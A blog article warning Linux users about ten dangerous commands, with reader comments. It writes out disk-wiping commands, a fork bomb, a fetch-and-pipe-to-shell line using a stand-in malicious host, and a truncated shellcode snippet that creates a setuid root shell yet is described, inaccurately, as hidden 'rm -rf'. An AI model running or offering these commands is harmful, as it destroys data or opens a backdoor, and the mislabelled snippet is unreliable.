10 Most Dangerous Commands – You Should Never Execute on Linux

Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of Linux or Linux command line. We just want to make you aware of some of the commands which you should think twice before you execute them.

Dangerous Linux Commands
10 Dangerous Linux Commands

1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

  1. rm command in Linux is used to delete files.
  2. rm -r command deletes the folder recursively, even the empty folder.
  3. rm -f command removes ‘Read only File’ without asking.
  4. rm -rf / : Force deletion of everything in root directory.
  5. rm -rf * : Force deletion of everything in current directory/working directory.
  6. rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

2. :(){:|:&};: Command

The above is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.


3. command > /dev/sda

The above command writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

4. mv folder /dev/null

The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

# mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

5. wget http://malicious_source -O- | sh

The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.

Note: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.

6. mkfs.ext3 /dev/sda

The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

7. > file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar

This command, as described in our 10 Lesser Known Linux Commands, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

9. dd if=/dev/random of=/dev/sda

The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

10. Hidden the Command

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.

This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“cp -p /bin/sh /tmp/.beyond; chmod 4755

Note: Don’t execute any of the above command in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the Author of the article nor Tecmint is responsible.

That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to Tecmint. If you know any other such Dangerous Linux Commands and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.

If You Appreciate What We Do Here On TecMint, You Should Consider:

TecMint is the fastest growing and most trusted community site for any kind of Linux Articles, Guides and Books on the web. Millions of people visit TecMint! to search or browse the thousands of published articles available FREELY to all.

If you like what you are reading, please consider buying us a coffee ( or 2 ) as a token of appreciation.

Support Us

We are thankful for your never ending support.

39 thoughts on “10 Most Dangerous Commands – You Should Never Execute on Linux”

  1. Linux is so brain dead. Running comamnds is like releasing a bull in a kitchen. On older systems with CLI, you would type a commandName and it would spit out instructions and easy to understand help. Something like the format command would stop and ask for input. If you wanted to automate, you could force confirmation within a batch file (ie, Continue (Y/n)? | Y – or something similar).

    So one would run a batch file for automated processing. When Linus decided to clone a unix-like OS, he didn’t bother to ask himself if he should improve it. He cloned garbage in and produced garbage out. All the s**t-grinning Unix users just nodded their heads and produced a community of Unix-like Linux users smiling that s**t-eating grin of conformity.

    To this day we’re still struggling with installing software using medieval techniques, producing 100s of distros – none of which are compatible with eachother for something that should be as simple as installing an app. Package managers that can’t even distinguish between a library or a program when searching for a programName like “editor”. Even if an editor is searchable within a PM, it doesn’t have a tagName of ‘editor’ and you need to know the exact weird, brain-dead name the developer gave it.

    I don’t even think I’ve ever seen a bashScript anywhere written with any kind of errorlevel checking. It’s just one line, followed by another. It assumes that everything on the system is exactly the same. It’s that same mentality of sloppy coding, sloppy programs that permeate this sloppy system. At least with some older CLI systems, it was common to write things like (IF exist… DO this… if NOT, skip and do something else). It’s no wonder Linux has never taken off. Even the most inane user recognizes garbage when they see it.

    When someone suggests making any change to the system that might benefit everyone in terms if functionality, the grey-haired Linux zombies come out. If there was any group of software users that can’t stand change (for the better), it’s Linux Desktop users.

    • You are so brain-dead.. Before you post anything:

      a) thank to the people spending time and energy to post such articles, first off. Learn to appreciate things.
      b) make sure you have enough knowledge about it.

      We all certainly understand your pain. Sounds like, hopeless.

  2. Ten most dangerous you should NEVER execute on Linux?

    Eight out of ten are either stand-bys that any Linux admin should know AND use, or won’t do what you think they do (#4, as mentioned above, is perfectly safe).

    I’ll give you the fork bomb. Executing that would be pretty stupid. Though I’ll grant that you should always read the contents of any script you download with wget _before_ executing it.

    Otherwise, if you didn’t know what could happen why do you even have command line access?

  3. 4. mv folder /dev/null

    I doubt this is going to work, you will get an error message like:
    mv: target ‘/dev/null’ is not a directory
    mv: cannot overwrite non-directory ‘/dev/null’ with directory ‘folder’

  4. If you know some linux you quickly learn that for many command “-v” means verbose and with that it show more of what’s going on
    now don’t use “-v” with pkill with the intent that you want to show what is killed or so
    pkill -v -u baduser
    you think you will see what is killed but since pkill comes from grep where “-v” means invert you kill every process _except_ those owned by baduser.
    Of course the basic rule is to not be logged in as root to start with and when having to do root stuff you “sudo pkill -u baduser”, then “rm -rf /” won’t be as bad.

    • @ Rohan Khanolkar,

      Thanks for the feedback. Please make a short note of what this command will do and we will add this to the article.


Got something to say? Join the discussion.

This site uses Akismet to reduce spam. Learn how your comment data is processed.